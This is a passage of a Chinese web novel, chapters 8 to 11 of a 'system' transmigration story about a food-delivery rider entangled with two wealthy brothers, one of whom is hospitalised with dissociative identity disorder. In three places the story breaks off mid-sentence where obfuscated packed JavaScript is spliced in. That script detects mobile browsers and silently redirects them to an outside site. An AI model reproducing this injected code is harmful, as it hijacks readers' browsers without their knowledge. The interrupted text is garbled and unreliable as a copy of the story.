李株一瞬不瞬地望着高从俞,眼里的求知欲快溢出来了。 高从俞捏起餐巾布一角擦嘴,无奈道:“我弟弟他前段时间去外地见心理医生了,我不知道他回来。大概是经常吃药影响食欲,他不爱吃饭,多劝几句就发脾气,等饿了会自己下来吃。” 浓缩成两句:弟弟有心理疾病,弟弟脾气不好。 好哥哥不会向一个认识几天的普通朋友,暴露自家弟弟的隐私。 高从俞对高从霭的厌恶,到了演都不演的程度。 既然如此为什么不分开住,偏要凑在一起…… 李株想不通,就暂时把问题放在一旁,专心致志嗦面条。 今天起得早,吃完面条七点不到,谢过高从俞想要送他上班的提议,李株走出别墅门,朝大门口走去。 快走出高家院门时,他回头看向二楼。 高从霭的房间拉着黑色窗帘,估计没起床。他视线一转,停在三楼。 站在窗后的不是高从霭还能是谁。 李株定了定神,猛然意识到原主第一次看到的高从霭就是这样,仰着下巴,像尊凝固的雕像远眺某个地方。 他挥着胳膊原地蹦高,希望高从霭注意到自己。 事实证明,只要努力付出就会有收获,就在李株手挥到酸痛的时候,高从霭的目光落到了他身上。 他似乎说了句什么,李株听不见。 回去的路上,李株反复回忆这个片段。 靠着多年的唇语解读经验,得出两个字——智障。 李株委屈了:“我靠,他怎么这样!” 365 :“……” —— 希望路的配送站点门口,除去配送早餐的骑手,其余不用早班的人正聚在空地上打赌。 赌劳模会不会迟到。 郎峰对他哥很有信心:“绝对到,他不到我倒立洗头。” “大家掐表看好了,距离八点还差四十七秒,四十六,四十五……” “别吹了,你哥除了前天车祸请假,哪天不是提前十分钟到,这时候还没来肯定要迟到。” “还有二十秒……十秒……八、七、六……” “来了来了!” 李株骑着电瓶车风风火火赶到,抢在最后一秒打卡成功。 站长背着手走出来,勒令大家站好。 外卖骑手属于高危行业,每日的安全培训至关重要,那些被讲述了许多遍的安全规则,说不定就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276052|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在没有察觉到的某刻,带你远离危险。 李株深知这一点,站长说一句,就在心里跟着默念一句。 “好了,今天的培训就到这里。”站长抬手看表,嘀咕道,“怎么还没到。” “站长,谁啊,要来新同事吗?” “是该增加骑手了,自从商场开起来,订单多得快送不过来了。” “送不过来还不好?多赚钱你还不乐意了。” 大家七嘴八舌,不知谁嚷了一嗓子:“站长,是他不?” 一名穿骑手服,身材健硕的年轻男人骑着电瓶车过来,他将车停在一边,摘掉安全帽。 看清来人的脸,李株傻了眼,郎峰怒了脸。 郎峰:“他怎么来了!” “你看我干什么,不是我让他来的。”李株冤枉。 庄恒川单手抱着安全头盔,斜扫过李株和郎峰,走到站长面前。 “介绍一下,这位是庄恒川,美好路的业务标兵。最近咱们站点运力不足,把小庄调过来缓解一下大家的压力,大家鼓掌欢迎!” 啪啪啪的掌声响起,李株举起手也要鼓掌,被郎峰恨铁不成钢地瞪了一眼。 他靠过去:“再瞪,信不信我削你。” 想起他哥的拳头,郎峰往右边躲。 庄恒川知道要调去希望路后,不知为何整夜失眠,看到李株他明白了,是怕遇到瘟神。 站长把他拽到角落,特别交代道:“小徐跟你一样,业务能力强,但他不如你稳重踏实,要是因为抢单子发生矛盾,你让着他点。” “站长放心,我不会跟他一般见识。”庄恒川挺起胸膛说。 站长拍他的肩膀:“去吧,注意安全。” 这家配送公司的福利待遇算业界顶尖,不克扣骑手,对商家抽成合理,逢年过节给员工发红包,夏天有高温津贴,冬天有低温补助。 李株检查好车子,戴上防晒袖套,手机一响火速抢单,取餐点是一家网红蛋糕店。 雨水洗过的天空很蓝,风拂过面颊,带来路边馥郁的芬芳。 赶路途中,李株又抢下七个顺路单,四个奶茶订单,两个麻辣烫,一个牛肉汤,全是汤汤水水。 对其他骑手来说,这是灾难。 对李株来说,这都不是事儿。 车子骑得又快又稳,经过小路的坑洼路面时,他精准的控制车身倾斜角度,没让液体漏出一滴。 李株突然找到了送外卖的快乐,不费脑子,锻炼身体,还能耍帅。 剩下两单需要爬楼梯,他一口气连上两趟六楼。下来时,跟他一起送达的哥们儿正在四楼大喘气。 送完最后一单,李株找了个花坛坐下,点开手机窥屏。 骑手群在聊他。 【服了,徐晓哲这两天吃激素,长飞毛腿了吧。】 【自从车祸回来,他整个人容光焕发,抢单手速更快了!】 【大家说的是这个人吗?他一口气冲两趟六楼不带喘的[照片.jpg]。】 李株阅完奏章,点点手机。 希望路小徐:【基操,勿6。】 8. 大哥,收手吧 经过昨天的适应,李株找到了适合的工作节奏,快到午高峰时,他回到站点的休息室喝茶。 站长跟隔壁小超市老板唠完嗑回来,看到他笑骂道:“你小子昨天偷懒,今天也偷懒,怎么,不是号称赚不够三百万累死也不休吗,不当赚钱机器了?” 赚够三百万就带着郎峰一起退休是原主的梦想。 李株喝了口绿茶,保温杯新买的,茶叶顺的站长的。 他拧好盖子,语气淡淡:“把机会暂时让给年轻人,等12点我再继续战斗。” 站长:“……” 站长调出后台数据,发现李株的配送量是26单,比他以往同时段平均数要高出5单。 是该让让单子了,再抢下去怕是要被兄弟们打死。 估摸着时间差不多了,李株去买来两份盒饭,自己吃一盒,给郎峰留下一盒,骑上车,正式吹起冲锋的号角。 外卖的高峰时段是上午十点到下午两点,骑手们骑着小电驴风一般地穿过大街小巷,将餐品送到顾客手里。 这段时间结束,李株暂停接单,跟郎峰一起坐在台阶上休息。 站点内部小团伙不少,留下来休息的骑手三五成群的聊着天。 其中两个鬼鬼祟祟,时而偷看独自一人的庄恒川。 庄恒川不是没察觉,是懒得和人结怨。 站长走到他身旁坐下,递上一瓶矿泉水:“感觉怎么样,累不累?” “还行。”庄恒川说了声谢谢,拧开瓶盖喝了口。 “你小子可以啊,截至目前一共送了55单,就比小徐少两单。” “他跑了57?”庄恒川是之前片区里送餐最快、最多的骑手,也听过徐晓哲的业务水平强,只是没想到这么夸张。 “可不是么。”提起手底下的骨干,站长满脸自豪,“别看那小子脾气差,面对客人嘴巴甜,很少收到投诉。脑子也活泛,大街小巷的地图全在他脑子里,有时候其他人要超时了,还会打电话问他哪里可以抄近道。” 徐晓哲给庄恒川的印象有两个:猥琐,变态。 没想到在工作上中是另一副样子。 想起庄恒川调过来的隐情,站长语重心长道:“你就在这边好好干,能适应就直接留下来,我去跟老陈说。” 两人交流的声音不大,郎峰恨不得把耳朵拽下来,扔到两人脚边当窃听器。 “哥,你就不想知道他们在聊什么吗?” 是疑惑,也是试探他哥对庄恒川的反应。 李株斜睨他:“心眼子挺多,你哥我密集恐惧症要犯了。” “……”郎峰讪讪地干笑,“听不懂你说什么。” 李株朝斜右方看,心里猫抓似的难受,刚才隐约听到那两人说庄恒川跟谁有仇,这会儿正低头摆弄手机。 到底是谁啊,我吗?不可能吧。 他站起来伸了懒腰,拿着手机和保温杯往站长办公室走,路过两人身后,飞快举起手静音连拍几张。 照片发虚,文字模糊,是聊天对话框。 李株新下了一个照片处理app,做了三次清晰处理,挑出其中最清楚的一张。 ——欠系统的4个正向值有着落了! 李株玩着手机来到站长身后:“老张啊,让下位置,我想跟新同事交流交流工作经验。” 背对他的站长仰起脑袋,脖子快扭成麻花了,见青年脸上没有挑衅的意思,这才起身。 庄恒川眉毛皱起来,屁股往旁边挪了又挪。 不远处死盯着两人的郎峰着急上火,他哥好不容易决定脱离火坑,可千万不能再跌下去,急吼吼地也凑了上去。 三个人并排坐,李株夹在中间。 他晃了下手机,靠过去,想点开照片给庄恒川:“给你看个东西。” 见识过李株那日发疯后,庄恒川相信他对自己没有想法了,以后相安无事,最好谁也别搭理谁。 偏偏这人不知分寸,突然跑来挨着他坐,还往他身上凑! 条件反射的,庄恒川后颈的汗毛根根直竖,噌的一下站起来。 “起开!别他妈靠我这么近!”伤人的话没经过大脑处理,脱口而出。 李株被喊得呆了一瞬,站起身就骂:“吼什么吼,真以为自己是人见人爱金疙瘩,挨一下掉粉还是咋地!老子找你是有正事,少他妈给自己加戏!” 庄恒川第一次被青年骂,没生气,反而多了几分踏实。 徐晓哲是真的真的真的对他没那个意思了。 太好了。 庄恒川重新坐下:“抱歉,我条件反射,没控制住。” “作为成年人,情绪管理很重要,别一惊一乍的。”李株依旧站着,居高临下的教育,“以后再这样,信不信我喷死你。” 庄恒川点头:“信。” 他见识过徐晓哲站在楼下骂人,牛高马大的郎峰被喷得抬不起头,眼眶泛红。 郎峰看看这个,又看看那个,发现世界好魔幻啊。 庄恒川尴尬地清了下嗓子:“那什么,你想说啥?” 李株重新坐下,给他看偷拍的照片。 郎峰伸长脖子看,嘴里吐槽:“哥,你咋还没改偷窥的毛病,别人聊天你好奇啥。” 李株恨不得一脚踹开他,强忍下火气问庄恒川:“美好路那边说要收拾你,你怎么看? “水来土掩,无所谓,走一步看一步。”庄恒川嘴上轻巧,心里已经开始烦躁。 他缺钱,在上一个站点因为抢单得罪人,和对方干了一架,今早起来肚子上青紫老大一块。正好这边运力不足,站长就把他派过来了。 以为人走了,事情就了了,没想到对方要找人弄他。 李株对积分势在必得:“下班我们一起走。” 庄恒川张了张嘴,半晌,他说:“谢了。” 李株怕自己一笑又被误会,沉着脸去了厕所。门一关,眼睛笑成两条缝。 “统哥,数据拿来。” 【对象:庄恒川;正向总值:2】 个位数,侮辱人。 365:“原主黑历史太多,就这点正向值还是因为刚才吼你产生的愧疚,不想要我帮你清零。” “……”李株拼命挽救,“我要我要!” 他掰手指头算,赚了2个,还差系统4个。 花的时候豪气万丈,赚的时候吭哧吭哧。 李株无比想念目前的重点嫌疑人,拿出手机看时间,距离三点还差五分钟。 他放下马桶盖坐上去,刷着手机等王经理的消息。 准时准点,手机传来叮咚一声,私人号有新消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276053|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 王经理:【小徐有时间吗,给高先生送点心】 李株握着手机没有动作,十分钟后,他不紧不慢地回复。 小徐努力:【王经理实在抱歉,手里单子太多,走不开】 王经理:【你一个单子才赚几个钱,送一趟顶你几十个单】 紧跟着是一条转账。 王经理:【高先生补偿你的,小徐啊,高先生这么看重你,其他单子放一边,先去送高先生的】 看重会让你一个小经理转账?会不加个联络方式? 高从俞想做戏,又不能彻底拉低身段和底层人民拉近关系,演技再好也拿不到奥斯卡。 李株白眼快翻上天了,哒哒打字。 小徐努力:【对不起王经理,我真的走不开】 他要放长线,钓大鱼。 顺便把转账收了,这是他昨晚被高从俞人身攻击的工伤补偿。 红月会所的办公室里,王经理骂道:“什么玩意儿,还拿上架子了!” 他切换手机界面,给高从俞打电话,态度极尽谄媚讨好。 “高先生,小徐说他没时间,我派其他人给您送吧。” “不必了。” 是不必让小徐送,还是不必送点心?王经理不解其意,正犹豫要不要追问,听筒中传来了无情的忙音。 —— 李株等不到王经理的回复,弯腰洗了把冷水脸,从卫生间出去。 一刻钟前对着庄恒川各种警惕、横眉冷对的郎峰,此刻正勾着庄恒川的肩膀哈哈大笑。 李株:“……” 见他哥过来,郎峰松开庄恒川,笑嘻嘻地对李株说:“哥,川哥跟我们是老乡。” 原主对庄恒川一见钟情,自那一天起,郎峰见到庄恒川就像见到仇人。 眼睛不是眼睛,鼻子不是鼻子的。 李株:“我知道啊。” 原主偷看过庄恒川的证件,被庄恒川抓了个正着。 庄恒川也想起这件事,脸上黑了几分。李株重重干咳两声,踹了一脚郎峰的屁股:“别磨蹭,开工了。” 昨天的雨没下够,傍晚时分,烧红的天际被乌云覆盖,传来沉闷的雷声。 李株把车停在路边,提前穿好雨衣,一抬头,一辆黑色轿车在旁边缓缓停下。 车窗摇下去,露出熟悉的脸。 高从俞脸上是掩饰不住的惊喜:“小徐,没想到在这里碰见了。” 是惊吓还差不多。 一阵寒意窜上天灵盖,他怎么知道我在哪儿? 李株淡定的拉上雨衣拉链,让系统马上检测手机。 果不其然,手机里被装了定位软件。 高从俞有太多机会,李株无法确定软件是什么时候装的。像他这样的笑面虎最难对付,不如直来直去的高从霭。 李株扶正电瓶车坐上去:“是很巧,高先生要去哪儿?” 高从俞脸上多出几丝担忧:“从霭病了,我去医院看看他。” 吃人嘴软,拿人手短,徐晓哲在他这里连吃带拿,听说高从霭病了,一定会狗腿地提出一同前去看望。 他舒服地靠在椅背上,等鱼咬钩。 “什么病,严不严重?”李株抠了抠手指,担忧地说,“我能跟你一起去看看他吗?” 9. 大哥,收手吧 高从霭住的私人医院,院长知道高从俞要来,带着几个院方高层候在大门口。 车一停,他殷勤地上前开门。 李株看了眼他身上的工作牌:“谢谢院长。” 院长盯着下车的人,那身骑手服后面有个超大logo,高先生那样的人,怎么会和外卖员同乘一辆车。 秘书悄悄戳他:“院长,高先生从另一边下车了。” 院长回过神,有人比他抢先抵达了另一侧,只见青年扶着车门立在那里,挡住众人的视线,司机绕到后备箱,搬出轮椅摆到后座门口。 高从俞下车从不让人帮忙,他臂力强健,可以自己挪上轮椅。 电动轮椅开出来,李株跟着来到院方诸位领导面前。 高从俞没有向他们介绍李株,一个抬手,院长就明白他的意思,说起高从霭的情况:“高烧刚退,应该快醒了。” “嗯。”高从俞对李株说,“走吧,上去看看。” 进了电梯,院方几人仗着空间小眼睛没处放,大大方方打量起李株。 长得算端正,气质有点土,衣服脏兮兮的,袖口不知在哪里蹭了一块油污,这绝对不可能是谁家体验生活的小少爷。 电梯停在九楼,这一层是高档病房,如今被高家包了。 高从霭生病会引发很多意外,做出许多令人难以预料的事,高家丢不起那个人。 必须杜绝一切泄露信息的可能。 病房外,陈姨拎着保温饭盒趴在玻璃上看。 高从霭在病房里绕圈,嘴唇无声翕动,脑袋晃来晃去,如果忽略外表,他此刻的样子更像一个几岁大的孩童。 “陈姨。”高从俞的声音响起。 陈姨像见到了救星:“大少爷来啦,小少爷他醒了。” 这间病房是高从霭的专属病房,特意改造过,靠走廊的实体墙上半部分,换成了双层中空的玻璃墙,便于医生时刻观察病人情况。 病房里除了一张软包过的病床,没有其他家具。 李株不知道是不是自己的错觉,短短大半天不见,高从霭好像更瘦了。 高从俞看了眼专注望向病房的青年,叹息道:“从霭有很严重的心理疾病,通俗来讲,就是癔症。” 李株一个跑外卖的,不懂得这些,他露出困惑的表情。 高从俞科普:“医学上把这种病分为两大类,分离障碍和转换障碍,从霭属于前者,他有严重的分离性身份障碍,就是身体里住着另一个人格。” 高从俞很满意李株惊恐的反应。 对他来说,高从霭在旁人眼中是一个怪物,是件无比愉悦的事。 李株抖了一下,害怕地说:“那他会伤人吗?” “暂时没有发生过。”高从俞抿了下唇,眉头轻轻皱起来,高从霭突然转身朝玻璃墙走来。 他两只手撑在玻璃上,漆黑的眼睛睁得很大,声音是装出来的几岁孩童才有的软糯。 他说:“回来了。” 高从俞落在扶手上的双手猛地攥紧,玻璃另一边的高从霭诡异地踮起脚走开,就像踩着一双别人看不到的高跟鞋。 回到病床上躺下,给自己盖上被子。 李株偷偷朝下瞥,高从俞的后颈上起了一层鸡皮疙瘩,整个人绷得很紧,随时要发作的模样。 他俯身,故意在高从俞耳后说:“回来了。” 如果高从俞双腿正常,此刻已经惊得跳起来,他扭头惊惧地看着李株,张开嘴喘着粗气。 李株这才慢慢说后半句:“是什么意思?谁回来了?” 【负向值+20,说话大喘气有病吧!跟高从霭一样是个疯子!】 李株心里哇哦,五个字而已,反应这么大。 高从俞脸上一阵青一阵白,竭力控制住发火的冲动,语气僵硬地说:“不知道,他发病的时候就爱说莫名其妙的话,当不得真。” 李株真怕他突然破功,有损在外的形象,体贴的补上一句:“高先生说得对,又不是特意针对某个人,不用在意。” 乍一听没什么,细品又觉得怪怪的。 高从俞盯着那张脸,坦然、诚恳,没有阴阳的意思。 粗鄙的文盲就是这样,能把好话说成歹话,听得人刺耳。 高从俞抬腕看时间,满钻的表盘险些闪瞎李株的眼:“你下午别去送餐了,不介意的话陪我吃顿便饭?” “这怎么好意思。”李株假假的说,“之前总是你请我喝咖啡、吃点心,我心里过意不去,这次换我请你吧。” 一段关系要延续下去,总得有来有往,高从俞屈尊纡贵:“好。” 李株回头,床上的人侧躺对着走廊,睁开的眼始终盯着高从俞,干瘦苍白的手正抓着被子。 他的嘴唇在动,解读出来应该是:妈妈回来了。 李株收回视线:“那小高先生怎么办?” “等康复就能出院了,走吧。”要不是为了做给外界看,高从俞一刻也不想多待。 高从霭的一言一行,哪怕只是一个微小的表情,都能让他产生生理性的不适。 李株走在他身侧,清楚看到他颈侧鼓起的青筋。 问了系统要数据,没有涨,高从俞此刻的情绪不是对他,那就是对高从霭。 高家的关系太复杂。 哥哥不像哥哥,弟弟不像弟弟,还有一个隐身的,李株从没见过的爹。 李株在网上查过高彦和,人设和高从俞几乎一模一样,善良、宽宏,自发迹以来在商场没有败绩,投资什么赚什么,运气好到令人眼红。 不过据说他现在年纪大了身体不好,退居二线,暂时放权给高从俞。 李株脑子里在想事,一个不注意,撞到了高从俞的轮椅上。 散发着汗味和尘土气味的骑手服,正好蹭到高从俞的头发。 那一瞬间,他看到高从俞握紧了拳头。 【负向值+30,这该死的穷酸味!】 李株:“……” 衣服脏了可以洗,高从俞这样心脏了的没得洗。 李株连声道歉,高从俞强挤出一个笑脸:“没关系。” 就喜欢看你想弄死我,又弄不死的衰样儿。李株看不透高家给他的“免死金牌”是什么,只能勉为其难在高从俞的底线上蹦跶。 他伸手抚了下高从俞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276054|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发:“哎呀,不好意思,把你头发碰乱了。” 高从俞感觉有无数只蚂蚁贴着头皮爬行,面部肌肉绷得太紧,嘴角抽搐了下。 随行的司机知道老板的忍耐到了极限,适时开口:“先生,袖口脏了,要不要去卫生间整理一下。” 高从俞僵硬地点头:“走吧。” 李株想说“我跟你们一起”,司机率先堵住他的嘴:“小徐先生留在这里吧,我们马上回来。” 待两人消失在走廊转角,李株脑子里开始飘弹幕。 【负向值+30,想砍掉他的手】 【负向值+50,他怎么不去死】 【负向值+100,等事情结束,我一定要,一定要】 李株凝神,一定要什么?等啊等,就是没有后文。 咚、咚、咚—— 静谧的走廊中响起沉闷的撞击声,病房外还算正常的陈姨也跟着变得神经质。 她手中的圆柱形的食盒落到地上,顺着走廊一路滚到李株脚边。 李株弯腰捡起来,走过去:“姨,东西掉了。” 陈姨仿若未闻,身体颤抖得厉害。 李株顺着她的视线看进去,高从霭起床了,正站在一面墙壁前,用脑袋重重地磕墙。 咚、咚、咚—— 声音沿着墙壁透出来,可见撞得有多用力。 走廊另一头的院领导们跟着跑过来,叫上护士一起进门制止。 高瘦的男人被一群人强行按到地上,扎了一针镇定剂,闻讯回来的高从俞停在门口,视线与高从霭对上。 高从霭咧嘴笑起来,笑声和李株之前听过的一样夸张而癫狂。 他没有挣扎,顺着医生们的力道站起来,回到床上坐下。 情绪来得快,去得也快,高从霭陷入了安静,目不转睛地盯着高从俞。 “大哥。”他声音清晰,“妈妈回来了。” 如果之前是意识不清时的疯言疯语,那么现在,李株可以肯定,他在描述事实。 可他妈不是死很多年了吗,死人要怎么回来? 后颈像被人吹了一口寒气,李株觉得有点冷,他看向高从俞,男人的身体也在抖。 司机见势不妙,急声提醒:“先生,我们该走了。” 高从俞怔怔抬起头,瞪大的眼睛里顷刻间布满血丝,他扬手推开司机,操控轮椅逼近病床。 其余人被他的样子吓到,下意识闪开。 轮椅撞上病床边沿发出“哐”的一声,高从俞扑到高从霭身上,双手用力掐住他的脖子。 “闭嘴!闭嘴!闭嘴!” 呼吸受阻,高从霭的脸憋得通红。 反应过来的医生们想把人拉开,可高从俞的手劲儿太大,铁钳一般桎梏着高从霭的脖子,怎么也掰不开。 怎么办,难道也要来一针镇定剂吗? 李株眯了下眼睛,被骂了那么多次,报仇的时候到了。 他扬声说:“都让开,我来。” 众人的目光齐齐落到他身上,青年疾步走来,撸起袖子抬手就是啪啪两个巴掌。 左右脸一边一个,治好强迫症。 10. 大哥,收手吧 脸上的疼痛唤醒了失控的高从俞,他怔愣地抬起头。 对面的李株无措地把手藏到背后:“对不起,我一时情急,没想那么多。” 病房内气氛凝滞,医院方的人大气不敢出,惶恐不安地望着两人。 高从俞顶着两个通红的巴掌印松开高从霭,耳朵里嗡嗡作响,他的手垂落到腿侧,指甲陷进掌心。 “没事。”话从嘴里蹦出来的时候,他的肩膀因过于紧绷而发抖。 李株九十度鞠躬:“高先生真的对不起,要不,要不你打回来吧。” 青年声音低哑,快哭了。 心里爽到飞起来。 高从俞又说了一遍:“没事。” 李株嘴唇嚅嗫,愧疚地低下脑袋,正好对上高从霭的眼睛。 药物起效,他眼皮耷拉着,漆黑的眼底透不进光。他搭在落在床沿的手,在李株的指尖蹭了下。 “干得漂亮。”高从霭声音沙哑地说完,陷入了沉睡。 李株:“……” 是火上浇油没跑了,看热闹不嫌事大! 高从俞的眼睛被怒火烧得通红,看高从霭的眼神淬了毒。 再这么下去,非得把病房拆了不可,司机急中生智掏出手机:“先生!公司来电话说有急事!” 明知是缓解气氛的说辞,谁也没有傻到点破。 高从俞的五官在扭曲的边缘,他深吸一口气,对着李株说:“公司有事,吃饭的事改天再说。” 众所周知,改天吃约等于拒绝吃。 高从俞恐怕最近不想见他了,李株理解的表示:“没关系,等你忙完再说。” 高从俞的高级轮椅原地调转,眨眼间出了病房,其他人也立马跟上。 “小徐。”陈姨一把抓住李株的胳膊,“你赶紧收拾东西离开这里,千万别再回来。” 李株:“姨是怕高先生报复我吗?放心吧,他不会计较这种小事的。” 真是皇上不急太监急。 知道说主家的私事不好,陈姨还是想劝劝这个努力踏实的年轻人。 “大少爷没有你看到的那么温和,高二那年,他与人发生口角打了一架,嘴角破了点皮,第二天下午,一张照片被散播到网上……是,是一张毁容的脸。” “这和高先生有什么关系?” 陈姨交握在一起的手抖了一下:“是他做的,我亲耳听到的。” 那天高从俞气狠了,只顾着对朋友下达命令,忽略了厨房里的细微动静。 这件事过去很久,她记忆犹新。 如今这个因车祸致残,脾性大变的人,或许才是真正的高从俞。 “谢谢陈姨。”李株一脸天真,“我相信高先生不是坏人。” “你,你……”陈姨气得舌头打结,“随你便,万一出了事,别怪我没提醒你。” 李株笑了笑,没说话。 不想再搭理他,陈姨抓起高从霭的胳膊,试图把人挪到被子下。 李株见她吃力:“我来吧。” 他弯下腰,手臂横过高从霭的腿窝,搂住他的肩膀,来了个公主抱。 看着瘦,挺沉,李株的腰差点折了。 高从霭眼皮下的眼珠动了,李株垂头在他耳边问:“你1号人格上线了吧,怕高先生不够恨我,特意帮我拉一波仇恨值?” “小徐,你嘀嘀咕咕说啥呢?” “问问小高先生冷不冷。” 陈姨看了眼墙上的显示板,室温有点低,她去调高了两度。等李株把人放好,陈姨从旁边的柜子里拿了一床厚被子给高从霭盖上。 李株抱着胳膊看了他两秒:“陈姨,我先回去了。” “等等。”陈姨看了眼沉睡的人,拉着李株去了卫生间,“别嫌我啰嗦,尽量离小少爷也远一点吧,被他盯上不是好事。” 她只能点到为止。 高从霭没有社交,能不说话绝不开口,距离他上次交朋友已经过去三年,小徐是他三年来唯一愿意交谈的外人。 被他缠上和得罪高从俞一样恐怖。 李株记下陈姨的叮嘱,出了门后他瞅着走廊没人,像只壁虎趴在墙上往里偷看,床上的人躺得很安详。 看来之前眼珠子有动静不是装睡。 高从霭的危险是潜在的、未知的,高从俞的危险却摆在明面上,是板上钉钉的重大嫌疑人。如果能拉拢跟他关系糟糕的高从霭,对任务肯定会有帮助。 至少目前不能放弃与高从霭接触。 —— 下午的雨没下下来,空气燥热潮湿,几只燕子贴着草地飞过。 李株一路盘算回到电瓶车停放的位置,打开手机系统接单,继续自己的视财如命人设。 接下来几天,王经理安静如鸡,没找他送点心。 高从俞那边看似没有动静,实则动静很大,给李株制造了许麻烦。 开始李株没想到他身上,第五次与人发生剐蹭才回过味来,除了有惊无险的小车祸,他还接连遭到匿名投诉。 有人打电话到平台说他偷顾客东西,威胁顾客。 今天中午,站长又接到投诉,这次更离谱,说他x骚扰。 对方没有提供实质证据,但李株必须接受平台调查,被带进站长办公室,接受调查人员刁钻的问话。 高从俞老阴比! 李株琢磨,这事应该只是引子,他如今落难,高从俞正好可以演一出英雄救美。 既解心头之恨,又对他施了恩,一箭双雕。 “这件事我们已经了解清楚了,你可以走了。”调查人员合上本子站起来,“你的账户要三天后恢复。” 李株猛地起身,身后的椅子发出刺耳的摩擦声。 调查人员警惕地指着他:“你想干什么!” 李株逼近,目光喷火:“一句了解清楚就结束了?我受的这些窝囊气怎么算?把那个人的名字和电话给我,我要亲自问问,他到底为什么冤枉我!” 还以为要暴起打人,调查人员安抚道:“徐晓哲,你冷静点。” 李株:“我没法冷静!我要曝光他!” 曝光匿名举报者,就会有人扒出平台。 万一被对家用来炒作抹黑……调查人员相互交换了眼神,其中一人出去打了个电话。 回来后好言好语的对李株说:“上面知道你受了委屈,给你特批一笔精神损失费,这件事往后就别再提了。” 李株喘着粗气,像头愤怒的小牛。 站长握住他的胳膊往后拽,沉声喊道:“小徐。” 李株深吸一口气,不情愿地说:“看在站长的面子上,这次就算了。” 办公室的门开了,见出来的是两名调查人员,郎峰故意拿鼻孔看人。 等人离开,他冲进办公室拉着他哥问:“怎么样?” “没事了,想睡觉。” 对于一个没脾气的摆烂党来说,发脾气太消耗精力,李株好累。 “睡觉好,眼睛一闭一睁,就是新的一天。”郎峰知道他哥委屈大发了,去跟站长请了半天假,用小电驴载李株回家休息。 李株一躺下就是大半天,迷迷糊糊间,听到有规律的敲门声。 他揉着眼睛坐起来 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“我没有别的朋友。”高从霭索性把话都说了,“是不是想说你不是我朋友?我们说过话,在我这里,你是。” 李株没辙,小高先生脸皮太厚了。 高从霭走进客厅坐到沙发上,修长的胳膊搭上靠背,仿佛自己才是主人。 他不满的撇嘴:“你沙发好小。” 李株叉腰站在他面前:“有没有人告诉你,你很没有边界感。” “没有。”高从霭仰着头,“你是第一个。” 说完便没了声音,垂下脑袋睡着了。 李株推他:“喂,醒醒。” 高从霭的鼻腔里发出很细微的鼾声。 李株闭了闭眼,完蛋,这就是个烫手山芋。 “高从霭。”他坐到沙发上,一字一顿道,“你一直在钓我吧。” 帮他隐瞒偷窥的事,是第一个诱饵。 半夜抓到他跟踪选择隐瞒,是第二个诱饵。 病房里故意夸他扇得好,让他看清高从俞看他的眼神有多恶毒,是第三个诱饵。 还有现在,突然找上门却只顾着睡觉。 “高从霭,你起来。”李株不想拉拢他了,怕斗不过。 高从霭睁开一只眼:“让我安静睡会儿,作为交换,我告诉你一个高从俞的秘密。” “你慢睡,好睡,多睡。”李株态度大转变,去房间拿出毛巾被,替高从霭盖上肚子。 高从霭重新阖上眼帘。 李株看了眼他放在地上的脚,渗出的血把破洞的地方染成暗红。 他无法想象一个人得有多执拗,才会硬生生用双脚走四个小时,去找一个几面之缘的陌生人。 李株小声吐槽:“哥们儿,你确实不正常。” 浅眠的高从霭醒了,闭着眼睛说:“半个秘密。” 李株:“……” 钥匙怼进锁孔,郎峰打开防盗门进来。 见客厅亮着灯,他兴奋地举起手中的袋子高喊:“哥,我买了菜回来涮火锅吃!” 高从俞第三次醒来:“半个也没有了。” 到手的秘密没了,李株好崩溃。 郎峰也崩溃,家里有外人,还是个穿条纹睡衣的野男人! 旧的去了,新的来了。 【负向值+100,我哥的病没好呜呜呜呜呜】 11. 大哥,收手吧 李株把好兄弟拽进房间,两手扯着他的衣领,爸气十足地质问:“你是不是不爱我了。” “你是我唯一的亲人,为你我能两肋插刀,连死都愿意。”郎峰竖起手指要发誓。 意识到不太对劲儿,他收起手指,补充道:“好兄弟那种。” 保险起见,李株让系统给数据。 【对象:郎峰;负向总值:1180】 【对象:郎峰;正向总值:0(对原主的正向情绪值无法结算到宿主身上)】 太好了,是爱恨交织。 不是纯恨。 李株松开手,抚平被自己抓皱的衣服:“他叫高从霭,是高从俞的弟弟。” 晚上暴雨回不了家,借住在姓高的家里勉强说得通,怎么还把人弟弟给领回来了。 这是普通送餐小哥和客户的关系吗? 而且他们房间这么小,领人回来也没经过其他合租人同意。 “不行,留下来怎么睡。”郎峰态度坚决,“快把人弄走。” 李株打开门偷看,高从霭坐在沙发上,还在睡。 他阖上门,抱着胳膊沉思片刻,说:“我给高先生打个电话。” 咚、咚、咚—— 